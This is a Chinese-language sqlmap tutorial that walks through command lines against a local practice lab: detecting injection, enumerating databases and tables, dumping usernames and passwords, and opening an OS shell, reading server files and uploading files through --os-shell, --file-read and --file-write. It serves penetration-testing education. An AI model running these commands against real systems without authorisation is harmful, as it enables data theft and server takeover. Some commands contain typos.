sqlmap使用教程

时间:2021-02-03
本文章向大家介绍sqlmap使用教程,主要包括sqlmap使用教程使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

1.SQLMAP介绍

Sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定url的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL、Oracle、postgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、sybase和SAP MaxDB。
Sqlmap采用了以下5中独特的SQL注入技术。

  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用union的情况下的注入。
  • 堆查询注入,可以同时执行多条语句时的注入。

  SQLmap的强大功能包括数据库指纹识别、数据库枚举、数据库提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。Sqlmap的功能强大到让人惊叹,当常规的注入工具不能利用SQL注入漏洞进行注入时,使用sqlmap会有意想不到的效果。

2.SQLMAP入门

2.1 判断是否存在注入

>python sqlmap.py -u http://192.168.1.106/sql/Less-1/?id=1

当参数个数>=2时

>python sqlmap.py -u "http://192.168.1.106/sql/Less-19/?Username=1&Password=1"

 2.2 判断文本中的请求是否存在注入

Sqlmap.py –r 1.txt

当target为其他时

-d      # 直接连接数据库
-u      # 目标 URL
-l      # 从 Burp 或者 WebScarab 加载一个日志文件
-x      # 从远程网站地图(sitemap).xml 文件加载目标
-r      # 从文件中加载目标【重要】
-g      # 从 google 结果中加载目标
-c      # 从配置文件(.ini)中加载目标

2.3 查询当前用户下的所有数据库

该命令是确定网站存在注入后,用于查询当前用户下的所有数据库,如下所示。如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --dbs

2.4 获取数据库中的表名

该命令的作用是查询完数据库后,查询指定数据库中所有的表名。

如果在该命令中不加入-D参数来指定某一个具体的数据库,那么sqlmap会列出数据库中所有库的表

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security --tables

2.5 获取表中的字段名

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security –T users --columns

2.6 获取字段内容

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 –D security –T users –C id,password,username --dump

2.7 获取数据库中所有的用户

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --users

2.8 获取数据库用户的密码

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --passwords

2.9 获取当前网站数据库的名称

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --current-db

2.10 获取当前网站数据库的用户名称

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --current-user

3.SQLMAP进阶——参数讲解

3.1 --level 5:探测等级

  参数--level 5指需要执行的测试等级,一共有5个等级(1-5),可以不用加level,默认是1。Sqlmap使用的payload可以在xml/payloads.xml中看到,也可以根据相应的格式添加自己的payload,其中5级包含的payload最多,会自动破解出cookie、xff等头部注入。当然,level 5 的运行速度也比较慢。
  这个参数会影响测试的注入点,get和post的数据都会进行测试,http cookie在level为2的时候就会测试,http user-agent/referer头在level为3的时候就会测试。总之,在不确定那个payload或者参数为注入点时,为了保证全面性,建议使用高的level值。

 3.2 --is-dba:当前用户是否为管理权限

qlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --is-dba

3.3 --roles:列出数据库管理员的角色

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --roles

3.4 --referer:HTTP Referer头

Sqlmap可以在请求中伪造http中的referer,当level参数设定为3或者3以上时,会尝试对referer头注入。可以使用referer命令来欺骗,如:--referer http://www.baidu.com

 3.5 --sql-shell:运行自定义sql语句

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --sql-shell

3.6 --os-cmd,--os-shell:运行任意操作系统命令

该命令用于执行任意操作系统命令

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --os-shell

请特别注意:使用该命令有几个必须具备的条件
1.数据库用户是dba权限
2.知道网站的绝对路径
3.php当中的gpc为off,php自动转义为关闭状态
4.就算具备以上3个条件,因为涉及到系统命令,也未必可以执行成功

 3.7 --file-read:从数据库服务器中读取文件

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --file-read “C:/1.txt”

3.8 --file-write,--file-dest:上传文件到数据库服务器中

Sqlmap.py –u http://127.0.0.1/sql/Less-1/?id=1 --file-write “上传文件路径(相对路径)” --file-dest ”目标文件系统绝对路径
 

原文地址:https://www.cnblogs.com/fengzhongren/p/14326363.html